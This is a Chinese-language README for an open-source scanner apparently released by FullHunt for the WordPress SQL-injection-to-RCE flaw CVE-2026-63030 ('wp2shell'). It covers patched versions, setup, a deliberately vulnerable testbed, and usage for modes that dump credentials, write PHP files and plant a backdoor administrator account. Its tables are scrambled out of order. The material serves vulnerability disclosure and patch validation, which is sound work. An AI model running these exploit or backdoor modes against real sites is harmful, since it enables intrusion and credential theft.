
--check-type time-based(SLEEP 时间探测)和 --check-type error-based(TRUE/FALSE/broken 差异法),两者均适用于大规模资产扫描。--i-have-authorization 标志才可启用。CVE-2026-63030(“wp2shell”)是 WordPress 核心中的一个预认证远程代码执行漏洞。REST API 批量端点(/batch/v1)中的路由混淆/索引不同步缺陷允许未认证攻击者将一个未净化的 author_exclude 值走私到 WP_Query 中,从而导致 SQL 注入。当数据库用户拥有 FILE 权限时,该漏洞可通过 SELECT ... INTO OUTFILE 实现远程代码执行。无需任何插件,受影响的是标准 WordPress 安装。
WordPress 已在 6.9.5、7.0.2 和 7.1-beta2 中发布了修复。请立即修补。如果您需要扫描或发现基础架构中的该漏洞,请发送邮件至 [email protected]。更多信息请阅读 fullhunt.io 博客。
| 分支 | 易受攻击的版本 |
|---|
自 wp2shell (CVE-2026-63030) 公开披露以来,我们一直在对其进行研究,并与客户合作防范该漏洞。我们开源了用于发现和验证 CVE-2026-63030 的检测与扫描工具。安全团队可使用该工具扫描其基础架构中的 wp2shell,并验证 WAF 规则和补丁是否真正阻止了组织环境中的攻击链。
wp2shell-scan.py 是一个单一的统一扫描器,支持八种模式:
注意: 标记为“是”的授权模式需要
--i-have-authorization标志。
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
$ pip3 install -r requirements.txt
git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local
提供一个故意设计为脆弱的 WordPress 7.0.1 + MariaDB 环境(已授予 FILE 权限),用于安全离线复现:
$ cd testbed
$ docker compose up -d
# 在 http://localhost:8080 完成 WordPress 安装向导,然后:
$ python3 wp2shell-scan.py check -u http://localhost:8080
FullHunt 是下一代攻击面管理平台。FullHunt 帮助企业发现所有攻击面,监控暴露风险,并持续扫描最新安全漏洞。所有功能集成于单一平台,且不止于此。
FullHunt 为企业提供企业级平台。FullHunt 企业平台为客户提供扩展扫描和更强大的能力。FullHunt 企业平台允许组织密切监控其外部攻击面,并针对每项变化获得详细警报。全球各地的组织使用 FullHunt 企业平台来解决持续安全性和外部攻击面安全挑战。
本项目仅供教育和道德测试目的使用。在未经双方事先同意的情况下使用 wp2shell-scan 攻击目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发人员不承担任何责任,也不对因使用本程序造成的任何滥用或损害负责。
本项目采用 MIT 许可证。
Mazin Ahmed
| 已修复的版本 |
|---|
| 6.9 | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0 | 7.0.0 – 7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | 不受影响(批量端点不存在) | — |
| 模式 | 用途 | 授权 |
|---|
check | 非破坏性检测。两种检测类型:--check-type time-based(SLEEP 时间探测)或 --check-type error-based(TRUE/FALSE/broken 差异法)。 | 否 |
probe-endpoints | 发现哪些 REST 端点可将注入传递到 WP_Query。 | 否 |
probe | 并列对比 N 个 SQL 负载的响应。 | 否 |
extract | 通过布尔 Oracle 提取数据库元数据和哈希值。 | 是 |
blind | 基于时间的盲提取(当布尔 Oracle 不可靠时的备用方案)。 | 是 |
exploit | 验证完整的 SQLi → INTO OUTFILE → PHP 执行链。 | 是 |
adduser | 写入一个 mu-plugin 后门,创建管理员账户;如不可行则回退到布尔哈希提取。 | 是 |
get-users | 通过布尔 Oracle 转储所有 wp_users 凭据。 | 是 |